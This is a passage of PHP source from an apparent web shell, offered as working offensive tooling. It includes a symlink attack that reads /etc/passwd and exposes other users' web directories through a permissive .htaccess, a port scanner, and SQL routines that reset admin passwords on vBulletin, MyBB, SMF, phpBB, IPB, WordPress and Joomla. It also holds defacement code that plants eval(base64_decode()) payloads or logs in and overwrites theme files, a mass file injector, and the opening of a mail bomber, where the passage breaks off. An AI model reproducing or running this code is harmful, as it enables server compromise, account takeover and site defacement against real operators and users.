2822 <div style="float:left;position:fixed;">
2823 <form>
2824 <table cellpadding="9">
2825 <tr>
2826 <th colspan="2">Get User Name</th>
2827 </tr>
2828 <tr>
2829 <td>Enter Website Name :</td>
2830 <td><input type="text" name="sitename" value="sitename.com" class="sbox"></td>
2831 </tr>
2832 <tr>
2833 <td align="center" colspan="2"><input type="button" onClick="getname(sitename.value)" value=" Get IT " class="but"></td>
2834 </tr>
2835 <tr>
2836 <td colspan=2 align=center><div style="width:250px;" id="showsite"></div></td>
2837 </tr>
2838 </table>
2839 </form>
2840 </div>
2841 <?php
2842 $TEST=@file('/etc/passwd');
2843 if ($TEST)
2844 {
2845 @mkdir("dhanush",0777);
2846 @chdir("dhanush");
2847 execmd("ln -s /root");
2848
2849$file3 = 'Options all
2850 DirectoryIndex Sux.html
2851 AddType text/plain .php
2852 AddHandler server-parsed .php
2853 AddType text/plain .html
2854 AddHandler txt .html
2855 Require None
2856 Satisfy Any
2857 ';
2858 $fp3 = fopen('.htaccess','w');
2859 $fw3 = fwrite($fp3,$file3);
2860 @fclose($fp3);
2861
2862 echo "<table align=center border=1 style='width:40%;border-color:#333333;'><tr><td align=center><font size=4 >S. No.</font></td><td align=center><font size=4 >Users</font></td><td align=center><font size=3 >Symlink</font></td></tr>";
2863
2864
2865 $dcount = 1;
2866 $file = fopen("/etc/passwd", "r");
2867 //Output a line of the file until the end is reached
2868 while(!feof($file))
2869 {
2870 $s = fgets($file);
2871 $matches = array();
2872 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
2873 $matches = str_replace("home/","",$matches[1]);
2874 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
2875 continue;
2876 echo "<tr><td align=center><font size=3 class=txt>" . $dcount . "</td><td align=center><font size=3 class=txt>" . $matches . "</td>";
2877 echo "<td align=center><font size=3 class=txt><a href=".$url."dhanush/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
2878 $dcount++;
2879 }
2880 fclose($file);
2881
2882 echo "</table>";
2883 }
2884 else
2885 {
2886 @mkdir("dhanush",0777);
2887 @chdir("dhanush");
2888 execmd("ln -s / root");
2889 $file3 = 'Options all
2890 DirectoryIndex Sux.html
2891 AddType text/plain .php
2892 AddHandler server-parsed .php
2893 AddType text/plain .html
2894 AddHandler txt .html
2895 Require None
2896 Satisfy Any
2897 ';
2898 $fp3 = fopen('.htaccess','w');
2899 $fw3 = fwrite($fp3,$file3);
2900 @fclose($fp3);
2901
2902 echo "<table align=center border=1 style='width:40%;border-color:#333333;'><tr><td align=center><font size=4 >S. No.</font></td><td align=center><font size=4 >Users</font></td><td align=center><font size=3 >Symlink</font></td></tr>";
2903
2904 $temp = "";
2905 $val1 = 0;
2906 $val2 = 1000;
2907 for(;$val1 <= $val2;$val1++)
2908 {
2909 $uid = @posix_getpwuid($val1);
2910 if ($uid)
2911 $temp .= join(':',$uid)."\n";
2912 }
2913 echo '<br/>';
2914 $temp = trim($temp);
2915
2916 $file5 = fopen("test.txt","w");
2917 fputs($file5,$temp);
2918 fclose($file5);
2919
2920 $dcount = 1;
2921 $file = fopen("test.txt", "r");
2922 while(!feof($file))
2923 {
2924 $s = fgets($file);
2925 $matches = array();
2926 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
2927 $matches = str_replace("home/","",$matches[1]);
2928 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
2929 continue;
2930 echo "<tr><td align=center><font size=3 class=txt>" . $dcount . "</td><td align=center><font size=3 class=txt>" . $matches . "</td>";
2931 echo "<td align=center><font size=3 class=txt><a href=".$url."dhanush/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
2932 $dcount++;
2933 }
2934 fclose($file);
2935 echo "</table>";
2936 unlink("test.txt");
2937 }
2938 }
2939 else
2940 echo "<center><font size=4 >Cannot create Symlink</font></center>";
2941 }
2942}
2943else if(isset($_GET['host']) && isset($_GET['protocol']))
2944{
2945 echo "Open Ports: ";
2946 $host = $_GET['host'];
2947 $proto = $_GET['protocol'];
2948 $myports = array("21","22","23","25","59","80","113","135","445","1025","5000","5900","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","8080","8018");
2949 for($current = 0; $current <= 23; $current++)
2950 {
2951 $currents = $myports[$current];
2952 $service = getservbyport($currents, $proto);
2953 // Try to connect to port
2954 $result = fsockopen($host, $currents, $errno, $errstr, 1);
2955 // Show results
2956 if($result)
2957 echo "<font class=txt>$currents, </font>";
2958 }
2959}
2960else if(isset($_REQUEST['forumpass']))
2961{
2962 $localhost = $_GET['f1'];
2963 $database = $_GET['f2'];
2964 $username = $_GET['f3'];
2965 $password = $_GET['f4'];
2966 $prefix = $_GET['prefix'];
2967 $newpass = $_GET['newpass'];
2968 $uid = $_GET['uid'];
2969
2970 if($_GET['forums'] == "vb")
2971 {
2972 $newpass = $_GET['newipbpass'];
2973 $uid = $_GET['ipbuid'];
2974 $con = mysql_connect($localhost,$username,$password);
2975 $db = mysql_select_db($database,$con);
2976 $salt = "eghjghrtd";
2977 $newpassword = md5(md5($newpass) . $salt);
2978 if($prefix == "" || $prefix == null)
2979 $sql = mysql_query("update user set password = '$newpassword', salt = '$salt' where userid = '$uid'");
2980 else
2981 $sql = mysql_query("update ".$prefix."user set password = '$newpassword', salt = '$salt' where userid = '$uid'");
2982 if($sql)
2983 {
2984 mysql_close($con);
2985 echo "<font class=txt>Password Changed Successfully</font>";
2986 }
2987 else
2988 echo "Cannot Change Password";
2989 }
2990 else if($_GET['forums'] == "mybb")
2991 {
2992 $newpass = $_GET['newipbpass'];
2993 $uid = $_GET['ipbuid'];
2994 $con = mysql_connect($localhost,$username,$password);
2995 $db = mysql_select_db($database,$con);
2996 $salt = "jeghj";
2997 $newpassword = md5(md5($salt).md5($newpass));
2998 if($prefix == "" || $prefix == null)
2999 $sql = mysql_query("update mybb_users set password = '$newpassword', salt = '$salt' where uid = '$uid'");
3000 else
3001 $sql = mysql_query("update ".$prefix."users set password = '$newpassword', salt = '$salt' where uid = '$uid'");
3002 if($sql)
3003 {
3004 mysql_close($con);
3005 echo "<font class=txt>Password Changed Successfully</font>";
3006 }
3007 else
3008 echo "Cannot Change Password";
3009 }
3010 else if($_GET['forums'] == "smf")
3011 {
3012 $newpass = $_GET['newipbpass'];
3013 $uid = $_GET['ipbuid'];
3014 $con = mysql_connect($localhost,$username,$password);
3015 $db = mysql_select_db($database,$con);
3016
3017 if($prefix == "" || $prefix == null)
3018 {
3019 $result = mysql_query("select member_name from smf_members where id_member = $uid");
3020 $row = mysql_fetch_array($result);
3021 $membername = $row['member_name'];
3022 $newpassword = sha1(strtolower($membername).$newpass);
3023 $sql = mysql_query("update smf_members set passwd = '$newpassword' where id_member = '$uid'");
3024 }
3025 else
3026
3027 {
3028 $result = mysql_query("select member_name from ".$prefix."members where id_member = $uid");
3029 $row = mysql_fetch_array($result);
3030 $membername = $row['member_name'];
3031 $newpassword = sha1(strtolower($membername).$newpass);
3032 $sql = mysql_query("update ".$prefix."members set passwd = '$newpassword' where id_member = '$uid'");
3033 }
3034 if($sql)
3035 {
3036 mysql_close($con);
3037 echo "<font class=txt>Password Changed Successfully</font>";
3038 }
3039 else
3040 echo "Cannot Change Password";
3041 }
3042 else if($_GET['forums'] == "phpbb")
3043 {
3044 $newpass = $_POST['newipbpass'];
3045 $uid = $_POST['ipbuid'];
3046 $con = mysql_connect($localhost,$username,$password);
3047 $db = mysql_select_db($database,$con);
3048
3049 $newpassword = md5($newpass);
3050 if(empty($prefix) || $prefix == null)
3051 $sql = mysql_query("update phpb_users set user_password = '$newpassword' where user_id = '$uid'");
3052 else
3053 $sql = mysql_query("update ".$prefix."users set user_password = '$newpassword' where user_id = '$uid'");
3054 if($sql)
3055 {
3056 mysql_close($con);
3057 echo "<font class=txt>Password Changed Successfully</font>";
3058 }
3059 else
3060 echo "Cannot Change Password";
3061 }
3062 else if($_GET['forums'] == "ipb")
3063 {
3064 $newpass = $_POST['newipbpass'];
3065 $uid = $_POST['ipbuid'];
3066 $con = mysql_connect($localhost,$username,$password);
3067 $db = mysql_select_db($database,$con);
3068 $salt = "eghj";
3069 $newpassword = md5(md5($salt).md5($newpass));
3070 if($prefix == "" || $prefix == null)
3071 $sql = mysql_query("update members set members_pass_hash = '$newpassword', members_pass_salt = '$salt' where member_id = '$uid'");
3072 else
3073 $sql = mysql_query("update ".$prefix."members set members_pass_hash = '$newpassword', members_pass_salt = '$salt' where member_id = '$uid'");
3074 if($sql)
3075 {
3076 mysql_close($con);
3077 echo "<font class=txt>Password Changed Successfully</font>";
3078 }
3079 else
3080 echo "Cannot Change Password";
3081 }
3082 else if($_GET['forums'] == "wp")
3083 {
3084 $uname = $_GET['uname'];
3085 $con = mysql_connect($localhost,$username,$password);
3086 $db = mysql_select_db($database,$con);
3087
3088 $newpassword = md5($newpass);
3089 $sql = mysql_query("update ".$prefix."users set user_pass = '$newpassword', user_login = '$uname'");
3090 if($sql)
3091 {
3092 mysql_close($con);
3093 echo "<font class=txt>Password Changed Successfully</font>";
3094 }
3095 else
3096 echo "Cannot Change Password";
3097 }
3098 else if($_GET['forums'] == "joomla")
3099 {
3100 $newjoomlapass = $_GET['newjoomlapass'];
3101 $joomlauname = $_GET['username'];
3102 $con = mysql_connect($localhost,$username,$password);
3103 $db = mysql_select_db($database,$con);
3104
3105 $newpassword = md5($newjoomlapass);
3106 $sql = mysql_query("update ".$prefix."users set password = '$newpassword', username = '$joomlauname'");
3107 if($sql)
3108 {
3109 mysql_close($con);
3110 echo "<font class=txt>Password Changed Successfully</font>";
3111 }
3112 else
3113 echo "Cannot Change Password";
3114 }
3115}
3116else if(isset($_POST['forumdeface']))
3117{
3118 $localhost = $_POST['f1'];
3119 $database = $_POST['f2'];
3120 $username = $_POST['f3'];
3121 $password = $_POST['f4'];
3122 $index = $_POST['index'];
3123 $prefix = $_POST['tableprefix'];
3124
3125 if($_POST['forumdeface'] == "vb")
3126 {
3127 $con =@ mysql_connect($localhost,$username,$password);
3128 $db =@ mysql_select_db($database,$con);
3129 $index=str_replace('"','\\"',$index);
3130 $attack = "{\${eval(base64_decode(\'";
3131 $attack .= base64_encode("echo \"$index\";");
3132 $attack .= "\'))}}{\${exit()}}</textarea>";
3133 if($prefix == "" || $prefix == null)
3134 $query = "UPDATE template SET template = '$attack'";
3135 else
3136 $query = "UPDATE ".$prefix."template SET template = '$attack'";
3137 $result =@ mysql_query($query,$con);
3138 if($result)
3139 echo "<center><font class=txt size=4><blink>Vbulletin Forum Defaced Successfully</blink></font></center>";
3140 else
3141 echo "<center><font size=4><blink>Cannot Deface Vbulletin Forum</blink></font></center>";
3142 }
3143 else if($_POST['forumdeface'] == "mybb")
3144 {
3145 $con =@ mysql_connect($localhost,$username,$password);
3146 $db =@ mysql_select_db($database,$con);
3147 $attack = "{\${eval(base64_decode(\'";
3148 $attack .= base64_encode("echo \"$index\";");
3149 $attack .= "\'))}}{\${exit()}}</textarea>";
3150 $attack = str_replace('"',"\\'",$attack);
3151
3152 if($prefix == "" || $prefix == null)
3153 $query = "UPDATE mybb_templates SET template = '$attack'";
3154 else
3155 $query = "UPDATE ".$prefix."templates SET template = '$attack'";
3156 $result =@ mysql_query($query,$con);
3157 if($result)
3158 echo "<center><font class=txt size=4><blink>Mybb Forum Defaced Successfully</blink></font></center>";
3159 else
3160 echo "<center><font size=4><blink>Cannot Deface Mybb Forum</blink></font></center>";
3161 }
3162 else if($_POST['forumdeface'] == "smf")
3163 {
3164 $head = $_POST['head'];
3165 $catid = $_POST['f5'];
3166
3167 $con =@ mysql_connect($localhost,$username,$password);
3168 $db =@ mysql_select_db($database,$con);
3169 if($prefix == "" || $prefix == null)
3170 $query = "UPDATE boards SET name='$head', description='$index' WHERE id_cat='$catid'";
3171 else
3172 $query = "UPDATE ".$prefix."boards SET name='$head', description='$index' WHERE id_cat='$catid'";
3173 $result =@ mysql_query($query,$con);
3174 if($result)
3175 echo "<center><font class=txt size=4><blink>SMF Forum Index Changed Successfully</blink></font></center>";
3176 else
3177 echo "<center><font size=4><blink>Cannot Deface SMF Forum</blink></font></center>";
3178 }
3179 else if($_POST['forumdeface'] == "ipb")
3180 {
3181 $head = $_POST['head'];
3182 $catid = $_POST['f5'];
3183
3184 $IPB = "forums";
3185 $con =@ mysql_connect($localhost,$username,$password);
3186 $db =@ mysql_select_db($database,$con);
3187 if($prefix == "" || $prefix == null)
3188 $result =@mysql_query($query = "UPDATE $IPB SET name = '$head', description = '$index' where id = '$catid'");
3189 else
3190 $result =@mysql_query($query = "UPDATE $prefix.$IPB SET name = '$head', description = '$index' where id = '$catid'");
3191 if($result)
3192 echo "<center><font class=txt size=4><blink>Forum Defaced Successfully</blink></font></center>";
3193 else
3194
3195 echo "<center><font size=4><blink>Cannot Deface Forum</blink></font></center>";
3196 }
3197 else if($_POST['forumdeface'] == "wp")
3198 {
3199 $site_url = $_POST['siteurl'];
3200 $index = urlencode($index);
3201 $con =@ mysql_connect($localhost,$username,$password);
3202 $db =@ mysql_select_db($database,$con);
3203 $req1 = mysql_query("UPDATE `".$prefix."users` SET `user_login` = 'admin',`user_pass` = '$1$42REgxSR$.tLV4PSbQmCKsisyCSyhq.'");
3204 echo("<br>[+] Changing admin password to 123456789<br>");
3205
3206 if($req1)
3207 {
3208 $req = mysql_query("SELECT * from `".$prefix."options` WHERE option_name='home'");
3209 $data = mysql_fetch_array($req);
3210 if(empty($site_url))
3211 $site_url=$data["option_value"];
3212 $output .= "Site : ".$site_url."<br>";
3213
3214 $req = mysql_query("SELECT * from `".$prefix."options` WHERE option_name='template'");
3215 $data = mysql_fetch_array($req);
3216 $template = $data["option_value"];
3217
3218 $req = mysql_query("SELECT * from `".$prefix."options` WHERE option_name='current_theme'");
3219 $data = mysql_fetch_array($req);
3220 $current_theme = $data["option_value"];
3221
3222 $useragent="Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727)";
3223 $url2=$site_url."/wp-login.php";
3224
3225 $ch = curl_init();
3226 curl_setopt($ch, CURLOPT_URL, $url2);
3227 curl_setopt($ch, CURLOPT_POST, 1);
3228 curl_setopt($ch, CURLOPT_POSTFIELDS,"log=admin&pwd=123456789&rememberme=forever&wp-submit=Log In&testcookie=1");
3229 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
3230 curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
3231 curl_setopt($ch, CURLOPT_HEADER, 0);
3232 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
3233 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
3234 curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
3235 curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
3236 $buffer = curl_exec($ch);
3237
3238 $pos = strpos($buffer,"action=logout");
3239 if($pos === false) {
3240 $output.= "[-] Successful Login<br />";
3241 } else {
3242 $output.= "[+] Successful Login<br />";
3243 }
3244
3245 $url2=$site_url.'/wp-admin/theme-editor.php?file=index.php&theme='.urlencode($template);
3246 curl_setopt($ch, CURLOPT_URL, $url2);
3247 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
3248 curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
3249 curl_setopt($ch, CURLOPT_HEADER, 0);
3250 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
3251 curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
3252 curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
3253 $buffer0 = curl_exec($ch);
3254
3255 $_wpnonce = entre2v2($buffer0,'<input type="hidden" id="_wpnonce" name="_wpnonce" value="','" />');
3256 $_file = entre2v2($buffer0,'<input type="hidden" name="file" value="','" />');
3257
3258 if(substr_count($_file,"index.php") != 0)
3259 {
3260 $url2=$site_url."/wp-admin/theme-editor.php";
3261 curl_setopt($ch, CURLOPT_URL, $url2);
3262 curl_setopt($ch, CURLOPT_POST, 1);
3263 curl_setopt($ch, CURLOPT_POSTFIELDS,"newcontent=".$index."&action=update&file=".$_file."&_wpnonce=".$_wpnonce."&submit=Update File");
3264 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
3265 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
3266 curl_setopt($ch, CURLOPT_HEADER, 0);
3267 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
3268 curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
3269 curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
3270 $buffer = curl_exec($ch);
3271 curl_close($ch);
3272
3273 $pos = strpos($buffer,'<div id="message" class="updated">');
3274 $cond = 0;
3275 if($pos === false) {
3276 $output.= "<center><font size=4><blink>Cannot Deface Wordpress</blink></font></center>";
3277 } else {
3278 $output.= "<center><font class=txt size=4><blink>Wordpress Defaced Successfully</blink></font></center>";
3279 $cond = 1;
3280 }
3281 }
3282 else
3283 {
3284 $url2=$site_url.'/wp-admin/theme-editor.php?file=/themes/'.$template.'/index.php&theme='.urlencode($current_theme).'&dir=theme';
3285 curl_setopt($ch, CURLOPT_URL, $url2);
3286 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
3287 curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
3288 curl_setopt($ch, CURLOPT_HEADER, 0);
3289 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
3290 curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
3291 curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
3292 $buffer0 = curl_exec($ch);
3293
3294 $_wpnonce = entre2v2($buffer0,'<input type="hidden" id="_wpnonce" name="_wpnonce" value="','" />');
3295 $_file = entre2v2($buffer0,'<input type="hidden" name="file" value="','" />');
3296
3297
3298 $url2=$site_url."/wp-admin/theme-editor.php";
3299 curl_setopt($ch, CURLOPT_URL, $url2);
3300 curl_setopt($ch, CURLOPT_POST, 1);
3301 curl_setopt($ch, CURLOPT_POSTFIELDS,"newcontent=".$index."&action=update&file=".$_file."&_wpnonce=".$_wpnonce."&submit=Update File");
3302 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
3303 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
3304 curl_setopt($ch, CURLOPT_HEADER, 0);
3305 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
3306 curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
3307 curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
3308 $buffer = curl_exec($ch);
3309 curl_close($ch);
3310
3311 $pos = strpos($buffer,'<div id="message" class="updated">');
3312 $cond = 0;
3313 if($pos === false) {
3314 $output.= "<center><font size=4><blink>Cannot Deface Wordpress</blink></font></center>";
3315 } else {
3316 $output.= "<center><font class=txt size=4><blink>Wordpress Defaced Successfully</blink></font></center>";
3317 $cond = 1;
3318 }
3319 }
3320 } else {
3321 $output.= "[-] DB Error<br />";
3322 }
3323 echo $output;
3324 global $base_path;
3325 unlink($base_path.'COOKIE.txt');
3326 }
3327 else if($_POST['forumdeface'] == "joomla")
3328 {
3329 $site_url = $_POST['siteurl'];
3330 $dbprefix = $_POST['tableprefix'];
3331 $dbname = $_POST['f2'];
3332 $h="<? echo(stripslashes(base64_decode('".urlencode(base64_encode(str_replace("'","'",($_POST['index']))))."'))); exit; ?>";
3333
3334 $co=randomt();
3335
3336 $link=mysql_connect($localhost,$username,$password) ;
3337 mysql_select_db($dbname,$link);
3338
3339 $tryChaningInfo = mysql_query("UPDATE ".$dbprefix."users SET username ='admin' , password = '2a9336f7666f9f474b7a8f67b48de527:DiWqRBR1thTQa2SvBsDqsUENrKOmZtAX'");
3340
3341 $req =mysql_query("SELECT * from `".$dbprefix."extensions` ");
3342
3343 if ( $req )
3344 {
3345 $req =mysql_query("SELECT * from `".$dbprefix."template_styles` WHERE client_id='0' and home='1'");
3346 $data = mysql_fetch_array($req);
3347 $template_name=$data["template"];
3348
3349 $req =mysql_query("SELECT * from `".$dbprefix."extensions` WHERE name='".$template_name."'");
3350 $data = mysql_fetch_array($req);
3351 $template_id=$data["extension_id"];
3352
3353 $url2=$site_url."/index.php";
3354
3355 $ch = curl_init();
3356 curl_setopt($ch, CURLOPT_URL, $url2);
3357 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
3358 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
3359 curl_setopt($ch, CURLOPT_HEADER, 1);
3360 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
3361 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
3362 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
3363
3364
3365 $buffer = curl_exec($ch);
3366
3367 $return=entre2v2($buffer ,'<input type="hidden" name="return" value="','"');
3368 $hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',4);
3369
3370
3371 $url2=$site_url."/index.php";
3372 $ch = curl_init();
3373 curl_setopt($ch, CURLOPT_URL, $url2);
3374 curl_setopt($ch, CURLOPT_POST, 1);
3375 curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&return=".$return."&".$hidden."=1");
3376 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
3377 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
3378 curl_setopt($ch, CURLOPT_HEADER, 0);
3379 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
3380 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
3381 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
3382 $buffer = curl_exec($ch);
3383
3384 $pos = strpos($buffer,"com_config");
3385 if($pos === false)
3386 {
3387 echo("<br>[-] Login Error");
3388 exit;
3389 }
3390
3391 $url2=$site_url."/index.php?option=com_templates&task=source.edit&id=".base64_encode($template_id.":index.php");
3392 $ch = curl_init();
3393 curl_setopt($ch, CURLOPT_URL, $url2);
3394 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
3395 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
3396 curl_setopt($ch, CURLOPT_HEADER, 0);
3397 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
3398 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
3399
3400 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
3401 $buffer = curl_exec($ch);
3402
3403 $hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',2);
3404 if(!$hidden2)
3405 {
3406 echo("<br>[-] index.php Not found in Theme Editor");
3407 exit;
3408 }
3409
3410 $url2=$site_url."/index.php?option=com_templates&layout=edit";
3411
3412 $ch = curl_init();
3413 curl_setopt($ch, CURLOPT_URL, $url2);
3414 curl_setopt($ch, CURLOPT_POST, 1);
3415 curl_setopt($ch, CURLOPT_POSTFIELDS,"jform[source]=".$h."&jform[filename]=index.php&jform[extension_id]=".$template_id."&".$hidden2."=1&task=source.save");
3416
3417 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
3418 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
3419 curl_setopt($ch, CURLOPT_HEADER, 0);
3420 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
3421 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
3422 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
3423 $buffer = curl_exec($ch);
3424
3425 $pos = strpos($buffer,'<dd class="message message">');
3426 if($pos === false)
3427 {
3428 echo("<center><font size=4><blink>Cannot Deface Joomla</blink></font></center>");
3429 }
3430 else
3431 {
3432 echo("<center><font class=txt size=4><blink>Joomla Defaced Successfully</blink></font></center>");
3433 }
3434 }
3435 else
3436 {
3437 $req =mysql_query("SELECT * from `".$dbprefix."templates_menu` WHERE client_id='0'");
3438 $data = mysql_fetch_array($req);
3439 $template_name=$data["template"];
3440
3441 $url2=$site_url."/index.php";
3442 $ch = curl_init();
3443 curl_setopt($ch, CURLOPT_URL, $url2);
3444 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
3445 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
3446 curl_setopt($ch, CURLOPT_HEADER, 1);
3447 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
3448 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
3449 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
3450 $buffer = curl_exec($ch);
3451
3452 $hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',3);
3453
3454 $url2=$site_url."/index.php";
3455 $ch = curl_init();
3456 curl_setopt($ch, CURLOPT_URL, $url2);
3457 curl_setopt($ch, CURLOPT_POST, 1);
3458 curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&".$hidden."=1");
3459 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
3460 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
3461 curl_setopt($ch, CURLOPT_HEADER, 0);
3462 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
3463 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
3464 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
3465 $buffer = curl_exec($ch);
3466
3467 $pos = strpos($buffer,"com_config");
3468
3469 if($pos === false)
3470 {
3471 echo("<br>[-] Login Error");
3472 exit;
3473 }
3474
3475 $url2=$site_url."/index.php?option=com_templates&task=edit_source&client=0&id=".$template_name;
3476 $ch = curl_init();
3477 curl_setopt($ch, CURLOPT_URL, $url2);
3478 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
3479 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
3480 curl_setopt($ch, CURLOPT_HEADER, 0);
3481 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
3482 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
3483 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
3484 $buffer = curl_exec($ch);
3485
3486 $hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',6);
3487
3488 if(!$hidden2)
3489 {
3490 echo("<br>[-] index.php Not found in Theme Editor");
3491 }
3492
3493 $url2=$site_url."/index.php?option=com_templates&layout=edit";
3494 $ch = curl_init();
3495 curl_setopt($ch, CURLOPT_URL, $url2);
3496 curl_setopt($ch, CURLOPT_POST, 1);
3497 curl_setopt($ch, CURLOPT_POSTFIELDS,"filecontent=".$h."&id=".$template_name."&cid[]=".$template_name."&".$hidden2."=1&task=save_source&client=0");
3498 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
3499 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
3500 curl_setopt($ch, CURLOPT_HEADER, 0);
3501 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
3502 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
3503 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
3504 $buffer = curl_exec($ch);
3505
3506 $pos = strpos($buffer,'<dd class="message message fade">');
3507 if($pos === false)
3508 {
3509 echo("<center><font size=4><blink>Cannot Deface Joomla</blink></font></center>");
3510 exit;
3511 }
3512 else
3513 {
3514 echo("<center><font class=txt size=4><blink>Joomla Defaced Successfully</blink></font></center>");
3515 }
3516 }
3517 }
3518}
3519else if(isset($_POST['pathtomass']) && $_POST['pathtomass'] != '' && isset($_POST['filetype']) && $_POST['filetype'] != '' && isset($_POST['mode']) && $_POST['mode'] != '' && isset($_POST['injectthis']) && $_POST['injectthis'] != '')
3520{
3521 $filetype = $_POST['filetype'];
3522
3523 $mode = "a";
3524
3525 if($_POST['mode'] == 'Apender')
3526 $mode = "a";
3527
3528 if($_POST['mode'] == 'Overwriter')
3529 $mode = "w";
3530
3531 if (is_dir($_POST['pathtomass']))
3532 {
3533 $lolinject = $_POST['injectthis'];
3534 $mypath = $_POST['pathtomass'] .$directorysperator. "*.".$filetype;
3535 if(substr($_POST['pathtomass'], -1) == "\\")
3536 $mypath = $_POST['pathtomass'] . "*.".$filetype;
3537 foreach (glob($mypath) as $injectj00)
3538 {
3539 /*if($injectj00 == getcwd().$_SERVER['SCRIPT_NAME'])
3540 continue;
3541 $fp=fopen($injectj00,$mode);
3542 if (fputs($fp,$lolinject))
3543 echo '<br><font class=txt size=3>'.$injectj00.' was injected<br></font>';
3544 else
3545 echo 'failed to inject '.$injectj00.'<br>';*/
3546 }
3547 $dirs = glob($_POST['pathtomass'] . '/*' , GLOB_ONLYDIR);
3548 foreach ($dirs as $dir)
3549 {
3550 injectdir($dir,$filetype,$mode,$lolinject);
3551 }
3552 }
3553 else
3554 echo '<b>'.$_POST['pathtomass'].' is not available!</b>';
3555}
3556else if(isset($_POST['mailfunction']))
3557{
3558 if($_POST['mailfunction'] == "dobombing")
3559 {
3560 if(isset($_POST['to']) && isset($_POST['subject']) && isset($_POST['message']) && isset($_POST['times']) && $_POST['to'] != '' && $_POST['subject'] != '' && $_POST['message'] != '' && $_POST['times'] != '')
3561 {
3562 $times = $_POST['times'];
3563 while($times--)
3564 {
